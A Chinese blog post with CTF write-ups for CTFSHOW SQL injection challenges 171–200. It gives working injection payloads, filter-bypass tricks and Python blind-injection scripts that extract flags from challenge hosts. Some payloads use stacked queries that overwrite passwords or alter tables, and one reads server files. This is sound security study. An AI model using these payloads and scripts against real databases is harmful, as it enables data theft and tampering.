CTFSHOW sql注入(一)


title: CTFSHOW-sql注入(一)
data: 2021-09-15
tags: CTF-web


CTFSHOW sql注入(一)

开始一周的高强度sql注入训练,先从ctfshow 的基础开始。

包含了CTFSHOW sql注入的 170-200题。

这里都是sql注入的一些基本知识点。主要是了解sql注入的常见题型。

题目

web 171(万能密码)

万能密码:
  1'or 1=1-- -

web 172(过滤回显内容)

CTFSHOW sql注入(一)

这里看出有一定的waf,我们并不能在username里面输入flag且返回的列里面也不能有flag。那么我们已知flag在ctfshow_user2表中,且列名为flag。直接编码即可。

payload:
1' union select to_base64(username),password from ctfshow_user2 -- -

这里有一个细节就是如果我们采用的是get传参的方式的话,那么我们使用#时候需要使用%23。否则不会杯传到数据库中当作注释使用。

web 173

payload:
1' union select 1,2,group_concat(password) from ctfshow_user3%23

group_concat()直接把所有password连起来就行了。

web 174(盲注+regexp)

这个题首先,没判断出来是盲注。主要还是参考了Y4师傅的WP。但是最后一个Y4师傅是靠经验推断flag在第二十三行。这里我们采用一个正则匹配,就不用去猜flag在哪里了。

# @Author:k1he
import requests

url = "http://60e5e391-09c0-4ed1-a9a2-57d8e70d4c64.challenge.ctf.show:8080/api/v4.php?id=1"


flag = ''

for i in range(1,100):
    min =32
    max =127
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "'and ascii(substr((select database()),{},1))<{}-- -".format(i,mid)
        payload = "'and ascii(substr((select group_concat(password) from ctfshow_user4 where password regexp('^ctf')),{},1))<{}-- -".format(i,mid)
        res = requests.get(url+payload)
        if "admin" in res.text:
            max = mid
        else:
            min = mid
#库名 
#ctfshow_web
#表名
#ctfshow_user4
#列名
#id,username,password
#flag
#ctfshow{35c495e4-d5bc-450c-a16a-c51f5777633f} 

web 175(时间盲注)

CTFSHOW sql注入(一)

看题目。返回内容不能有ascii为0-127的字符。直接把回显关了。只能直接采用盲注了。但是这里有一个新的问题是,怎么敲都是查询失败。

# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-18 17:30:35
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-18 17:47:28
import requests
url = "http://617002ea-275b-4340-9ced-18d46d869a56.challenge.ctf.show:8080/api/v5.php?id=1"
flag = ''
for i in range(1,100):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #表名
        #paylaod = "1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.6),0)-- -".format(i,mid)
        #列名
        #paylaod = "1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5'),{},1))<{},sleep(0.6),0)-- -".format(i,mid)
        #id,username,password
        #flag
        paylaod = "1'and if(ascii(substr((select group_concat(password) from ctfshow_user5 where password regexp('^ctf')),{},1))<{},sleep(0.6),0)-- -".format(i,mid)
        #ctfshow{97c033fb-e734-4ff5-894b-37c1e3145f8e}
        try:
            res = requests.get(url=url+paylaod,timeout=0.5)
            min = mid
        except:
            max = mid
#库名
#ctfshow_web
#表名
#ctfshow_user5
#列名
#id,user,password

web 176(大小写绕过)

payload:
1'or 1=1%23

payload:
1' union sElect 1,2,group_concat(password) from ctfshow_user%23

web 177(空格过滤)

payload:
1'or%091=1%23

payload:
1'union%09sElect%091,2,group_concat(password)%09from%09ctfshow_user%23

贴个小tips:

绕过空格姿势:(暂时只想起来这么多后面再补)
%09 %0a %0c %0b %0d /**/

web 178()

暂时这题不知道过滤了什么。
payload:
1'or%091=1%23

payload:
1'union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23

web 179(过滤%0a,%09)

简单测试过后,很容易发现过滤了%0a,%09。那么我们采用手工闭合或者%0c

payload:
1'or'1'='1'%23
1'or(1)=(1)%23

payload:
1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23

web 180(过滤注释#,–+)

payload:
1'or'1'='1'--%0c-

payload:
1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user--%0c-

web 181-182(过滤select)

这题直接给出了过滤列表了。

 |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i

可以看到最关键的select被过滤了。

这里卡住了,因为没有select太不好操作了。而handler需要能够连续执行语句的时候才能用。

去看了看师傅们的WP。

payload:
-1'or(id=26)and'1'='1

这个payload读一下还是能读懂的。

web 183(正则比较注入)

$sql = "select count(pass) from ".$_POST['tableName'].";";
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

可以看到这题有回显,并且返回pass的条目。

这里进行了好久的测试。刚开始用的chr(32)~chr(127)。但是发现因为我们使用的是正则匹配,因此我们的通配符会被算上。直接雪崩。

后面采用了最简单的枚举法。

# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-18 20:25:26
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-18 20:47:53
import requests
url ="http://3df76f1c-80a4-442b-921e-7c8e77b7be14.challenge.ctf.show:8080/select-waf.php"
flag = ""
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,40):  #此处可适当调大
    for j in letter:
        temp_flag = flag+j
        data = {
            "tableName":"(ctfshow_user)where(pass)regexp('^ctfshow{}')".format(temp_flag)
        }
        r = requests.post(url=url,data=data)

        #print(r.text)
        #print(data['tableName'])
        if "$user_count = 1;" in r.text:
            flag += j
            print("ctfshow"+flag)
            break
        else:
            continue
#ctfshow{2a41856e-f78f-4805-9c6b-3c159f2eed50}

web 184(having代替where,like盲注,十六进制替代)

此题在上一题的基础上过滤了单双引号。where。

并且因为没有了单双引号,因此我们无法继续采用正则匹配。因此我们只能使用非字符串的方式来匹配。那么选择使用16进制来匹配。

# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-18 21:01:32
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-18 21:15:25
import requests
import sys
url = "http://345bf49b-6769-4ef8-83bd-b502bb7928fb.challenge.ctf.show:8080/select-waf.php"

letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
def asc2hex(s):
    a1 = ''
    a2 = ''
    for i in s:
        a1+=hex(ord(i))
    a2 = a1.replace("0x","")
    return a2

flag = "ctfshow{"
for i in range(0,100):
    for j in letter:
        temp_flag = flag+j
        data ={
            "tableName":"ctfshow_user group by pass having pass like ({})".format("0x"+asc2hex(temp_flag+"%"))
        }
        #print(data["tableName"])

        r = requests.post(url=url,data=data)
        if "$user_count = 1;" in r.text:
            flag += j
            print(flag)
            break
        else:
            continue

#ctfshow{ff9725af-75f3-4aad-b5a4-176d7bf6c717} 

web 185-186(true代替数字,concat+chr代替引号)

function waf($str){
   return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

这里可以看出在上一题的基础上更过滤了数字0-9.

抄了一个脚本,师傅们tql.

这里的核心在like后面使用了concat+chr的方式来得到字符串。

然后数字使用了true+true=2这种方式来绕过。

总体就是

like concat(chr(true+true),chr(true+true)) —>like "ctfshow{"—>得到flag
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-18 21:01:32
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-19 10:23:39
import requests
import sys

def createNum(n):
    num = "true"
    if n == 1:
        return "true"
    else:
        for i in range(n - 1):
            num += "+true"
    return num


def createstrNum(m):
    _str = ""
    for j in m:
        _str += ",chr(" + createNum(ord(j)) + ")"
    return _str[1:]


url = "http://6e155536-4130-4c33-899e-241450edf3b5.challenge.ctf.show:8080/select-waf.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
for i in range(100):
    for j in letter:
        data = {
            'tableName': 'ctfshow_user group by pass having pass like concat({})'.format(createstrNum(flag + j +"%"))
        }
        res = requests.post(url=url, data=data).text
        #print(data["tableName"])
        if "$user_count = 1;" in res:
            flag += j
            print(flag)
            break
        if j == "}":
            sys.exit()
#ctfshow{55d05897-933b-4796-99f3-5cfe49a5436a}

web 187(md5注入)

 $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    } 

这里问题主要在这个MD5函数上面。因为MD5函数存在两个参数,其中第二个参数默认为false。当其为true的时候,会返回16位原始二进制字符串。因此这里我们需要找到一个转换为原始16位二进制字符串后满足我们的注入。

CTFSHOW sql注入(一)

可以看到很明显这里我们存在单引号,那么可以直接注入了。

注入后就变成了

$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6xxxxxx'";

这里只要是数字1之类的都会被判断为true。因此成功登陆了。

payload:
username:admin
password:ffifdyop


payload:
username:admin
password:129581926211651571912466741651878684928

抓包即拿到flag

CTFSHOW sql注入(一)

web 188(mysql弱比较)

   $sql = "select pass from ctfshow_user where username = {$username}";
  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }
      

可以看到这里登陆成功就有flag。

第一想法是对admin的密码进行修改。然后登陆成功即可。

}and update ctshow_user set pass=123 where username = admin%23

但是行不通。看着这么多眼熟的函数,上网搜了搜,mysql里面也存在弱比较。

1.字符串当作数字处理
  即当mysql中字符串与数字做比较的时候,会将字符串当作数字来比较。如123bac会当作123处理。
  因此我们在查询的时候即使username=0,也会返回一些以0开头的数据。
2.品一下下面的句子。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BUEcYdPs-1633341285782)(https://i.loli.net/2021/09/19/YDRMFk1vHInS2wL.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eQZ8W7KS-1633341285784)(https://i.loli.net/2021/09/19/aNj8pICesuEyKQr.png)]

payload1:
username=0&password=0
payload2:
username=1||1&password=0

web 189(load_file+regexp盲注)

  $sql = "select pass from ctfshow_user where username = {$username}";
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

可以很清晰得看出这里没有空格了。所有空格都没了。在题目下给了一个hint:flag在/api/index.php中。

那么合理猜测我们需要去读index.php的内容。然后看load_file没有被ban掉。

根据目录应该时/var/www/html/api/index.php

测试了一下。回显只有查询失败和密码错误。那么想到了盲注。配合regexp使用。

if(load_file("/var/www/html/api/index.php")regexp("ctfshow{"),0,1)#

上脚本跑

# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-18 20:25:26
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-19 15:55:45
import requests
url ="http://672fae7a-35db-4eca-8187-c6d1bcd4d481.challenge.ctf.show:8080/api/index.php"
flag = "ctfshow{"
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,60):  #此处可适当调大
    for j in letter:
        temp_flag = flag+j
        data = {
            "username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)#".format(temp_flag),
            "password": 0,
        }
        r = requests.post(url=url,data=data)
        #print(r.text)
        #print(data['username'])
        if "密码错误" in r.json()['msg']:
            flag += j
            print(flag)
            break
        else:
            continue
#ctfshow{335a466f-e9f5-4840-9e17-eefddd2eed9e}

这里还学到一点就是返回的是json的时候该怎么处理。

web 190(json类型盲注)

$sql = "select pass from ctfshow_user where username = '{$username}'";

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪

测试了一下,本题多了一个用户名判断。应该是强比较判断。盲注。

这里手工测试一下,很容易发现用户名处存在盲注。

只存在"密码错误"和"用户名不存在"。当我们用户名处成功注入时返回密码错误。

# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-18 21:01:32
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-19 15:25:03
import requests
import sys

url = "http://ec825111-5f1a-434e-832f-7c2c48c558ed.challenge.ctf.show:8080/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        if "密码错误" == res.json()['msg']:
            max = mid
        else:
            min = mid 
#ctfshow{41c6d58b-1795-41ba-8d5d-56be249791aa} 

web 191(过滤ascii)

    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

增加了盲注过滤。没什么影响。ascii用ord替换。脚本一把梭哈。

# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-18 20:25:26
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-19 16:22:24
import requests
url ="http://9a8a7166-7150-4c7a-98ef-d4da2ef7781b.challenge.ctf.show:8080/api/"
flag = ""

for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(mid == min):
            flag += chr(mid)
            print(flag)
            if(chr(mid)=="{"):
                exit()
            break
        #payload = "admin'and ascii(substr((select database()),{},1))>{}#".format(i,mid)
        #payload = "admin'and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{}#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{}#".format(i,mid)
        #id,f1ag
        payload = "admin'and ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))<{}#".format(i,mid)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url=url,data=data)
        #print(res.text)
        #print(payload)
        if "密码错误" in res.json()['msg']:
            max = mid
        else:
            min = mid


web 192(正则截断注入)

admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1"
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-18 20:25:26
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-19 16:51:22
import requests
url ="http://a64eba92-a4e4-4b96-b11d-d5ad34cce45b.challenge.ctf.show:8080/api/"
flag = ""
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,60):  #此处可适当调大
    for j in letter:
        temp_flag = flag+j
        data = {
            "username": "admin'and if(substr((select group_concat(f1ag) from ctfshow_fl0g where f1ag regexp('ctfshow')),{},1)='{}',0,1)#".format(i,j),
            "password": 0,
        }
        r = requests.post(url=url,data=data)
        #print(r.text)
        #print(data['username'])
        if "用户名不存在" in r.json()['msg']:
            flag += j
            print(flag)
            break
        else:
            continue
#ctfshow{da178f3e-bfd6-42dc-89a8-f507be312c6f}

web 193-194(like注入)

讲道理这里的话上一题的Payload将substr换成mid就能用了。但是不知道为什么没打通。

选择了抄师傅们的脚本。这里用的是like注入。但是好像like注入确实比regexp注入好理解。

# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-18 20:25:26
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-19 18:39:19
import requests

url='http://40ebd4e2-e4d3-41d1-80e7-421bc0d3dc26.challenge.ctf.show:8080/api/'
flag=""
letter = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_"
for i in range(0,100):
    for j in letter:
        #payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)#".format(flag+j+"%")
        #ctfshow_flxg
        #payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)#".format(flag+j+"%")
        #id,f1ag
        payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)-- -".format(flag+j+"%")
        #ctfshow{7259adb9-4f34-4c72-bbeb-0fd74517cd3c}
        data={
            'username':payload,
            'password':1
        }
        #print(payload)
        r=requests.post(url=url,data=data)
        #print(r.text)
        if "密码错误" in r.json()['msg']:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break


web 195(堆叠注入-反单引号)

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }
      

这里开启堆叠注入了。堆叠注入不是很理解。只能边看WP边学了。

堆叠注入的核心就是可以执行多个语句。

那么这里我们并不知道密码,可以利用堆叠注入进行一个更改密码的语句执行。

之前我一直以为反单引号内部代表表名。后面查了一下,反单引号用于区分保留字。

对于本题也就是pass代表pass字段。`

payload:
username:0;update`ctfshow_user`set`pass`=1;
password:1

点两下登陆就行了。

web 196(堆叠注入-限制长度)

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }
      

这里目前还没问到预期解。。

据说这题没有ban select。但是正则里面确实写了ban select。问了下群主,忘了ban select....

因此这里是非预期:
payload:
username:0;select(1);
password:1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fPPGM5ON-1633341285787)(https://i.loli.net/2021/09/19/UJrVQihSEH8NFsg.png)]

web 197-198(堆叠注入-更改列名)


  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

这里可以看出没有了update我们无法更改密码了。但是这个判断的话我们可以通过将pass字段和id字段互换。进而通过爆破id就能拿到flag。

paylaod:
username:0;alter table `ctfshow_user` change `pass` `k1he` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255);

web 199-200

感觉这个主要是出题的问题。好像190-200都能用这个通杀。

因为这里作比较的主要是查询后的结果和传入的参数比较。又有row[0]的存在。

因此我们可以使用这个非预期payload。

payload:
username:0;show tables;
password:ctfshow_user

CTFSHOW sql注入(一)

上一篇:ctfshow__黑盒测试


下一篇:ctfshow_web入门 PHP特性——学习